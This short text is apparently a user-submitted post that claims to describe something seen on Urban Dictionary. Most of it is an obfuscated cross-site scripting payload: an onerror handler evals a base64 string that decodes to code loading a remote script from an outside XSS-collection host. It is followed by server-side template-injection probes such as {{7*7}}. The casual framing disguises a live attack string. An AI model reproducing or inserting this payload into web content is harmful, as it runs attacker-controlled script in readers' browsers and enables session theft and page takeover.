I was on the urban
dictionary website and then I saw "><video><source onerror=eval(atob(this.
id))
id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYmFja3hzcy54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>{{7*7}}
7*7{{7'*'7}} and I wrote this.